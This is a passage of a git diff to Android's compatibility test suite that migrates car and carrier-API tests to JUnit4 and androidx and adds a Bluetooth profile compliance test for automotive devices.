         DefaultServiceConnectionListener connectionListener =
                 new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener, null);
+        Car car2 = Car.createCar(context, connectionListener, null);
         car2.connect();
         connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
         CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -216,10 +235,13 @@
         manager2.removeFocusListener(change2);
     }
 
+    @Test
     public void testFilter() throws Exception {
         DefaultServiceConnectionListener connectionListener =
                 new DefaultServiceConnectionListener();
-        Car car2 = Car.createCar(getContext(), connectionListener);
+        Context context =
+                InstrumentationRegistry.getInstrumentation().getTargetContext();
+        Car car2 = Car.createCar(context, connectionListener);
         car2.connect();
         connectionListener.waitForConnection(DEFAULT_WAIT_TIMEOUT_MS);
         CarAppFocusManager manager2 = (CarAppFocusManager)
@@ -274,6 +296,7 @@
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
     }
 
+    @Test
     public void testMultipleChangeListenersPerManager() throws Exception {
         FocusChangedListerner listener = new FocusChangedListerner();
         FocusChangedListerner listener2 = new FocusChangedListerner();
diff --git a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
new file mode 100644
index 0000000..ac12ce4
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
@@ -0,0 +1,365 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
+import android.util.SparseArray;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Contains the tests to prove compliance with android automotive specific bluetooth requirements.
+ */
+@SmallTest
+@RequiresDevice
+@RunWith(AndroidJUnit4.class)
+public class CarBluetoothTest {
+    private static final String TAG = "CarBluetoothTest";
+    private static final boolean DBG = false;
+    private Context mContext;
+
+    // Bluetooth Core objects
+    private BluetoothManager mBluetoothManager;
+    private BluetoothAdapter mBluetoothAdapter;
+
+    // Timeout for waiting for an adapter state change
+    private static final int BT_ADAPTER_TIMEOUT_MS = 8000; // ms
+
+    // Objects to block until the adapter has reached a desired state
+    private ReentrantLock mBluetoothAdapterLock;
+    private Condition mConditionAdapterStateReached;
+    private int mDesiredState;
+    private int mOriginalState;
+
+    /**
+     * Handles BluetoothAdapter state changes and signals when we've reached a desired state
+     */
+    private class BluetoothAdapterReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+
+            // Decode the intent
+            String action = intent.getAction();
+
+            // Watch for BluetoothAdapter intents only
+            if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
+                int newState = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
+                if (DBG) {
+                    Log.d(TAG, "Bluetooth adapter state changed: " + newState);
+                }
+
+                // Signal if the state is set to the one we're waiting on. If its not and we got a
+                // STATE_OFF event then handle the unexpected off event. Note that we could
+                // proactively turn the adapter back on to continue testing. For now we'll just
+                // log it
+                mBluetoothAdapterLock.lock();
+                try {
+                    if (mDesiredState == newState) {
+                        mConditionAdapterStateReached.signal();
+                    } else if (newState == BluetoothAdapter.STATE_OFF) {
+                        Log.w(TAG, "Bluetooth turned off unexpectedly while test was running.");
+                    }
+                } finally {
+                    mBluetoothAdapterLock.unlock();
+                }
+            }
+        }
+    }
+    private BluetoothAdapterReceiver mBluetoothAdapterReceiver;
+
+    private void waitForAdapterOn() {
+        if (DBG) {
+            Log.d(TAG, "Waiting for adapter to be on...");
+        }
+        waitForAdapterState(BluetoothAdapter.STATE_ON);
+    }
+
+    private void waitForAdapterOff() {
+        if (DBG) {
+            Log.d(TAG, "Waiting for adapter to be off...");
+        }
+        waitForAdapterState(BluetoothAdapter.STATE_OFF);
+    }
+
+    // Wait for the bluetooth adapter to be in a given state
+    private void waitForAdapterState(int desiredState) {
+        if (DBG) {
+            Log.d(TAG, "Waiting for adapter state " + desiredState);
+        }
+        mBluetoothAdapterLock.lock();
+        try {
+            // Update the desired state so that we'll signal when we get there
+            mDesiredState = desiredState;
+            if (desiredState == BluetoothAdapter.STATE_ON) {
+                mBluetoothAdapter.enable();
+            } else {
+                mBluetoothAdapter.disable();
+            }
+
+            // Wait until we're reached that desired state
+            while (desiredState != mBluetoothAdapter.getState()) {
+                if (!mConditionAdapterStateReached.await(
+                    BT_ADAPTER_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    Log.e(TAG, "Timeout while waiting for Bluetooth adapter state " + desiredState);
+                    break;
+                }
+            }
+        } catch (InterruptedException e) {
+            Log.w(TAG, "waitForAdapterState(" + desiredState + "): interrupted", e);
+        } finally {
+            mBluetoothAdapterLock.unlock();
+        }
+    }
+
+    // Utility class to hold profile information and state
+    private static class ProfileInfo {
+        final String mName;
+        boolean mConnected;
+
+        public ProfileInfo(String name) {
+            mName = name;
+            mConnected = false;
+        }
+    }
+
+    // Automotive required profiles and meta data. Profile defaults to 'not connected' and name
+    // is used in debug and error messages
+    private static SparseArray<ProfileInfo> sRequiredBluetoothProfiles = new SparseArray();
+    static {
+        sRequiredBluetoothProfiles.put(BluetoothProfile.A2DP_SINK,
+                new ProfileInfo("A2DP Sink")); // 11
+        sRequiredBluetoothProfiles.put(BluetoothProfile.AVRCP_CONTROLLER,
+                new ProfileInfo("AVRCP Controller")); // 12
+        sRequiredBluetoothProfiles.put(BluetoothProfile.HEADSET_CLIENT,
+                new ProfileInfo("HSP Client")); // 16
+        sRequiredBluetoothProfiles.put(BluetoothProfile.PBAP_CLIENT,
+                new ProfileInfo("PBAP Client")); // 17
+    }
+    private static final int MAX_PROFILES_SUPPORTED = sRequiredBluetoothProfiles.size();
+
+    // Configurable timeout for waiting for profile proxies to connect
+    private static final int PROXY_CONNECTIONS_TIMEOUT_MS = 1000; // ms
+
+    // Objects to block until all profile proxy connections have finished, or the timeout occurs
+    private Condition mConditionAllProfilesConnected;
+    private ReentrantLock mProfileConnectedLock;
+    private int mProfilesSupported;
+
+    // Capture profile proxy connection events
+    private final class ProfileServiceListener implements BluetoothProfile.ServiceListener {
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            if (DBG) {
+                Log.d(TAG, "Profile '" + profile + "' has connected");
+            }
+            mProfileConnectedLock.lock();
+            try {
+                sRequiredBluetoothProfiles.get(profile).mConnected = true;
+                mProfilesSupported++;
+                if (mProfilesSupported == MAX_PROFILES_SUPPORTED) {
+                    mConditionAllProfilesConnected.signal();
+                }
+            } finally {
+                mProfileConnectedLock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+            if (DBG) {
+                Log.d(TAG, "Profile '" + profile + "' has disconnected");
+            }
+            mProfileConnectedLock.lock();
+            try {
+                sRequiredBluetoothProfiles.get(profile).mConnected = false;
+                mProfilesSupported--;
+            } finally {
+                mProfileConnectedLock.unlock();
+            }
+        }
+    }
+
+    // Initiate connections to all profiles and wait until we connect to all, or time out
+    private void waitForProfileConnections() {
+        if (DBG) {
+            Log.d(TAG, "Starting profile proxy connections...");
+        }
+        mProfileConnectedLock.lock();
+        try {
+            // Attempt connection to each required profile
+            for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
+                int profile = sRequiredBluetoothProfiles.keyAt(i);
+                mBluetoothAdapter.getProfileProxy(mContext, new ProfileServiceListener(), profile);
+            }
+
+            // Wait for the Adapter to be disabled
+            while (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
+                if (!mConditionAllProfilesConnected.await(
+                    PROXY_CONNECTIONS_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    Log.e(TAG, "Timeout while waiting for Profile Connections");
+                    break;
+                }
+            }
+        } catch (InterruptedException e) {
+            Log.w(TAG, "waitForProfileConnections: interrupted", e);
+        } finally {
+            mProfileConnectedLock.unlock();
+        }
+
+        if (DBG) {
+            Log.d(TAG, "Proxy connection attempts complete. Connected " + mProfilesSupported
+                    + "/" + MAX_PROFILES_SUPPORTED + " profiles");
+        }
+    }
+
+    // Check and make sure each profile is connected. If any are not supported then build an
+    // error string to report each missing profile and assert a failure
+    private void checkProfileConnections() {
+        if (DBG) {
+            Log.d(TAG, "Checking for all required profiles");
+        }
+        mProfileConnectedLock.lock();
+        try {
+            if (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
+                if (DBG) {
+                    Log.d(TAG, "Some profiles failed to connect");
+                }
+                StringBuilder e = new StringBuilder();
+                for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
+                    int profile = sRequiredBluetoothProfiles.keyAt(i);
+                    String name = sRequiredBluetoothProfiles.get(profile).mName;
+                    if (!sRequiredBluetoothProfiles.get(profile).mConnected) {
+                        if (e.length() == 0) {
+                            e.append("Missing Profiles: ");
+                        } else {
+                            e.append(", ");
+                        }
+                        e.append(name + " (" + profile + ")");
+
+                        if (DBG) {
+                            Log.d(TAG, name + " failed to connect");
+                        }
+                    }
+                }
+                fail(e.toString());
+            }
+        } finally {
+            mProfileConnectedLock.unlock();
+        }
+    }
+
+    // Set the connection status for each profile to false
+    private void clearProfileStatuses() {
+        if (DBG) {
+            Log.d(TAG, "Setting all profiles to 'disconnected'");
+        }
+        for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
+            int profile = sRequiredBluetoothProfiles.keyAt(i);
+            sRequiredBluetoothProfiles.get(profile).mConnected = false;
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        if (DBG) {
+            Log.d(TAG, "Setting up Automotive Bluetooth test. Device is "
+                    + (FeatureUtil.isAutomotive() ? "" : "not ") + "automotive");
+        }
+
+        // Automotive only
+        assumeTrue(FeatureUtil.isAutomotive());
+
+        // Get the context
+        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+        // Get bluetooth core objects so we can get proxies/check for profile existence
+        mBluetoothManager = (BluetoothManager) mContext.getSystemService(
+                Context.BLUETOOTH_SERVICE);
+        mBluetoothAdapter = mBluetoothManager.getAdapter();
+
+        // Initialize all the profile connection variables
+        mProfilesSupported = 0;
+        mProfileConnectedLock = new ReentrantLock();
+        mConditionAllProfilesConnected = mProfileConnectedLock.newCondition();
+        clearProfileStatuses();
+
+        // Register the adapter receiver and initialize adapter state wait objects
+        mDesiredState = -1; // Set and checked by waitForAdapterState()
+        mBluetoothAdapterLock = new ReentrantLock();
+        mConditionAdapterStateReached = mBluetoothAdapterLock.newCondition();
+        mBluetoothAdapterReceiver = new BluetoothAdapterReceiver();
+        IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
+        mContext.registerReceiver(mBluetoothAdapterReceiver, filter);
+
+        // Make sure Bluetooth is enabled before the test
+        waitForAdapterOn();
+        assertTrue(mBluetoothAdapter.isEnabled());
+    }
+
+    @After
+    public void tearDown() {
+        waitForAdapterOff();
+        mContext.unregisterReceiver(mBluetoothAdapterReceiver);
+    }
+
+    // [A-0-2] : Android Automotive devices must support the following Bluetooth profiles:
+    //  * Hands Free Profile (HFP) [Phone calling]
+    //  * Audio Distribution Profile (A2DP) [Media playback]
+    //  * Audio/Video Remote Control Profile (AVRCP) [Media playback control]
+    //  * Phone Book Access Profile (PBAP) [Contact sharing/receiving]
+    //
+    // This test fires off connections to each required profile (which are asynchronous in nature)
+    // and waits for all of them to connect (proving they are there and implemented), or for the
+    // configured timeout. If all required profiles connect, the test passes.
+    @Test
+    @CddTest(requirement = "7.4.3/A-0-2")
+    public void testRequiredBluetoothProfilesExist() throws Exception {
+        if (DBG) {
+            Log.d(TAG, "Begin testRequiredBluetoothProfilesExist()");
+        }
+        assertNotNull(mBluetoothAdapter);
+        waitForProfileConnections();
+        checkProfileConnections();
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e9de083..6559a12 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -15,29 +15,38 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertNotNull;
+
 import android.car.Car;
 import android.car.CarInfoManager;
-import android.os.Bundle;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarInfoManagerTest extends CarApiTestBase {
 
     private CarInfoManager mCarInfoManager;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mCarInfoManager = (CarInfoManager) getCar().getCarManager(Car.INFO_SERVICE);
     }
 
+    @Test
     public void testVehicleId() throws Exception {
         assertNotNull(mCarInfoManager.getVehicleId());
     }
 
+    @Test
     public void testNullables() throws Exception {
         // no guarantee of existence. just call and check if it throws exception.
         mCarInfoManager.getManufacturer();
diff --git a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
index 4ba2cbf..5f391e4 100644
--- a/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPackageManagerTest.java
@@ -15,20 +15,25 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.car.Car;
 import android.car.CarNotConnectedException;
 import android.car.content.pm.CarPackageManager;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
-import java.util.List;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarPackageManagerTest extends CarApiTestBase {
 
     private CarPackageManager mCarPm;
@@ -37,14 +42,14 @@
     /** Name of the meta-data attribute for the automotive application XML resource */
     private static final String METADATA_ATTRIBUTE = "android.car.application";
 
-
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
         mCarPm = (CarPackageManager) getCar().getCarManager(Car.PACKAGE_SERVICE);
     }
 
-   public void testActivityDistractionOptimized() throws Exception {
+    @Test
+    public void testActivityDistractionOptimized() throws Exception {
        assertFalse(mCarPm.isActivityDistractionOptimized("com.basic.package", "DummyActivity"));
        // Real system activity is not allowed as well.
        assertFalse(mCarPm.isActivityDistractionOptimized("com.android.phone", "CallActivity"));
@@ -67,46 +72,19 @@
        } catch (IllegalArgumentException expected) {
            // Expected.
        }
-   }
-
-    public void testSystemActivitiesAllowed() throws CarNotConnectedException {
-        List<PackageInfo> packages = getContext().getPackageManager().getInstalledPackages(
-                PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
-
-        for (PackageInfo info : packages) {
-            if (info.applicationInfo == null) {
-                continue;
-            }
-            if ((info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0 ||
-                    ((info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0)) {
-
-                Bundle metaData = info.applicationInfo.metaData;
-                if (metaData == null || metaData.getInt(METADATA_ATTRIBUTE, 0) == 0) {
-                    continue;  // No car metadata, ignoring this app.
-                }
-
-                if (info.activities != null && info.activities.length > 0) {
-                    String activity = info.activities[0].name;
-                    String packageName = info.packageName;
-                    assertTrue("Failed for package: " + packageName + ", activity: " + activity,
-                            mCarPm.isActivityDistractionOptimized(packageName, activity));
-                }
-            }
-        }
     }
 
-    public void testServiceDistractionOptimized() throws Exception {
-        assertFalse(mCarPm.isServiceDistractionOptimized("com.basic.package", ""));
-        assertTrue(mCarPm.isServiceDistractionOptimized("com.android.settings", "Any"));
-        assertTrue(mCarPm.isServiceDistractionOptimized("com.android.settings", ""));
-        assertTrue(mCarPm.isServiceDistractionOptimized("com.android.settings", null));
-
-        try {
-            mCarPm.isServiceDistractionOptimized(null, "Any");
-            fail();
-        } catch (IllegalArgumentException expected) {
-            // Expected.
-        }
+    @Test
+    public void testDistractionOptimizedActivityIsAllowed() throws CarNotConnectedException {
+        // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        assertTrue(mCarPm.isActivityDistractionOptimized("android.car.cts",
+                "android.car.cts.drivingstate.DistractionOptimizedActivity"));
     }
 
+    @Test
+    public void testNonDistractionOptimizedActivityNotAllowed() throws CarNotConnectedException {
+        // This test relies on test activity in installed apk, and AndroidManifest declaration.
+        assertFalse(mCarPm.isActivityDistractionOptimized("android.car.cts",
+                "android.car.cts.drivingstate.NonDistractionOptimizedActivity"));
+    }
 }
diff --git a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
index 21358a6..5325768 100644
--- a/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarSensorManagerTest.java
@@ -16,39 +16,68 @@
 
 package android.car.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.car.Car;
-import android.car.hardware.CarSensorEvent;
 import android.car.hardware.CarSensorManager;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.stream.IntStream;
+
 @SmallTest
 @RequiresDevice
+@RunWith(AndroidJUnit4.class)
 public class CarSensorManagerTest extends CarApiTestBase {
 
-    private CarSensorManager mCarSensorManager;
+    private int[] mSupportedSensors;
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         super.setUp();
-        mCarSensorManager = (CarSensorManager) getCar().getCarManager(Car.SENSOR_SERVICE);
+        CarSensorManager carSensorManager =
+                (CarSensorManager) getCar().getCarManager(Car.SENSOR_SERVICE);
+        mSupportedSensors = carSensorManager.getSupportedSensors();
+        assertNotNull(mSupportedSensors);
     }
 
+    @CddTest(requirement="2.5.1")
+    @Test
     public void testRequiredSensorsForDrivingState() throws Exception {
-        int[] supportedSensors = mCarSensorManager.getSupportedSensors();
-        assertNotNull(supportedSensors);
-        boolean foundSpeed = false;
-        boolean foundGear = false;
-        for (int sensor: supportedSensors) {
-            if (sensor == CarSensorManager.SENSOR_TYPE_CAR_SPEED) {
-                foundSpeed = true;
-            } else if ( sensor == CarSensorManager.SENSOR_TYPE_GEAR) {
-                foundGear = true;
-            }
-            if (foundGear && foundSpeed) {
-                break;
-            }
-        }
-        assertTrue(foundGear && foundSpeed);
+        boolean foundSpeed =
+            isSupportSensor(CarSensorManager.SENSOR_TYPE_CAR_SPEED);
+        boolean foundGear = isSupportSensor(CarSensorManager.SENSOR_TYPE_GEAR);
+        assertTrue("Must support SENSOR_TYPE_CAR_SPEED", foundSpeed);
+        assertTrue("Must support SENSOR_TYPE_GEAR", foundGear);
+    }
+
+    @CddTest(requirement="2.5.1")
+    @Test
+    public void testMustSupportNightSensor() {
+        boolean foundNightSensor =
+            isSupportSensor(CarSensorManager.SENSOR_TYPE_NIGHT);
+        assertTrue("Must support SENSOR_TYPE_NIGHT", foundNightSensor);
+    }
+
+    @CddTest(requirement = "2.5.1")
+    @Test
+    public void testMustSupportParkingBrake() throws Exception {
+        boolean foundParkingBrake =
+            isSupportSensor(CarSensorManager.SENSOR_TYPE_PARKING_BRAKE);
+        assertTrue("Must support SENSOR_TYPE_PARKING_BRAKE", foundParkingBrake);
+    }
+
+    private boolean isSupportSensor(int sensorType) {
+        return IntStream.of(mSupportedSensors)
+            .anyMatch(x -> x == sensorType);
     }
 }
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 61b16bb..824a11b 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -15,30 +15,52 @@
  */
 package android.car.cts;
 
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.Car;
 import android.content.ComponentName;
 import android.content.ServiceConnection;
 import android.os.IBinder;
 import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
-
 @SmallTest
 @RequiresDevice
-public class CarTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CarTest {
 
     private static final long DEFAULT_WAIT_TIMEOUT_MS = 2000;
 
     private Car mCar;
     private DefaultServiceConnectionListener mServiceConnectionListener;
 
+    @Before
+    public void setUp() {
+        assumeTrue(FeatureUtil.isAutomotive());
+    }
+
+    @Test
     public void testConnection() throws Exception {
         mServiceConnectionListener = new DefaultServiceConnectionListener();
-        mCar = Car.createCar(getContext(), mServiceConnectionListener);
+        mCar = Car.createCar(
+            InstrumentationRegistry.getInstrumentation().getTargetContext(),
+                    mServiceConnectionListener);
         assertFalse(mCar.isConnected());
         assertFalse(mCar.isConnecting());
         mCar.connect();
diff --git a/tests/tests/car/src/android/car/cts/ExceptionsTest.java b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
index 904650f..5b90ee1 100644
--- a/tests/tests/car/src/android/car/cts/ExceptionsTest.java
+++ b/tests/tests/car/src/android/car/cts/ExceptionsTest.java
@@ -15,18 +15,35 @@
  */
 package android.car.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
+
 import android.car.CarNotConnectedException;
 import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.FeatureUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RequiresDevice
-public class ExceptionsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ExceptionsTest {
     private static final String MESSAGE = "Oops!";
     private static final Exception CAUSE = new RuntimeException();
 
+    @Before
+    public void setUp() {
+        assumeTrue(FeatureUtil.isAutomotive());
+    }
+
+    @Test
     public void testCarNotConnectedException() {
         CarNotConnectedException exception = new CarNotConnectedException();
         assertNull(exception.getMessage());
diff --git a/tests/tests/car/src/android/car/cts/drivingstate/DistractionOptimizedActivity.java b/tests/tests/car/src/android/car/cts/drivingstate/DistractionOptimizedActivity.java
new file mode 100644
index 0000000..00440b6
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/drivingstate/DistractionOptimizedActivity.java
@@ -0,0 +1,6 @@
+package android.car.cts.drivingstate;
+
+import android.app.Activity;
+
+public class DistractionOptimizedActivity extends Activity {
+}
\ No newline at end of file
diff --git a/tests/tests/car/src/android/car/cts/drivingstate/NonDistractionOptimizedActivity.java b/tests/tests/car/src/android/car/cts/drivingstate/NonDistractionOptimizedActivity.java
new file mode 100644
index 0000000..0c75a3a
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/drivingstate/NonDistractionOptimizedActivity.java
@@ -0,0 +1,6 @@
+package android.car.cts.drivingstate;
+
+import android.app.Activity;
+
+public class NonDistractionOptimizedActivity extends Activity {
+}
diff --git a/tests/tests/carrierapi/Android.mk b/tests/tests/carrierapi/Android.mk
index 3386907..b0a0c78 100644
--- a/tests/tests/carrierapi/Android.mk
+++ b/tests/tests/carrierapi/Android.mk
@@ -23,8 +23,8 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     junit
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/carrierapi/AndroidManifest.xml b/tests/tests/carrierapi/AndroidManifest.xml
index aae162a..dffc7f1 100644
--- a/tests/tests/carrierapi/AndroidManifest.xml
+++ b/tests/tests/carrierapi/AndroidManifest.xml
@@ -25,7 +25,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.carrierapi.cts">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
index 28afabc..91ba3fc 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/ApnDatabaseTest.java
@@ -15,6 +15,12 @@
  */
 package android.carrierapi.cts;
 
+import static junit.framework.TestCase.assertEquals;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.pm.PackageManager;
@@ -22,10 +28,11 @@
 import android.database.sqlite.SQLiteException;
 import android.net.Uri;
 import android.provider.Telephony.Carriers;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -34,11 +41,6 @@
 import java.util.HashMap;
 import java.util.Map;
 
-import static junit.framework.TestCase.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
 /**
  * Build, install and run the tests by running the commands below:
  *  make cts -j64
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 0ed6395..fc66dc5 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -15,14 +15,19 @@
  */
 package android.carrierapi.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Message;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+import android.telephony.AccessNetworkConstants;
 import android.telephony.CellInfo;
 import android.telephony.CellInfoGsm;
 import android.telephony.CellInfoLte;
@@ -30,27 +35,21 @@
 import android.telephony.NetworkScan;
 import android.telephony.NetworkScanRequest;
 import android.telephony.RadioAccessSpecifier;
-import android.telephony.AccessNetworkConstants;
 import android.telephony.TelephonyManager;
 import android.telephony.TelephonyScanManager;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
 /**
  * Build, install and run the tests by running the commands below:
  *  make cts -j64
@@ -184,24 +183,43 @@
         }
     }
 
-    private RadioAccessSpecifier getRadioAccessSpecifier(CellInfo cellInfo) {
-        RadioAccessSpecifier ras;
-        if (cellInfo instanceof CellInfoLte) {
-            int ranLte = AccessNetworkConstants.AccessNetworkType.EUTRAN;
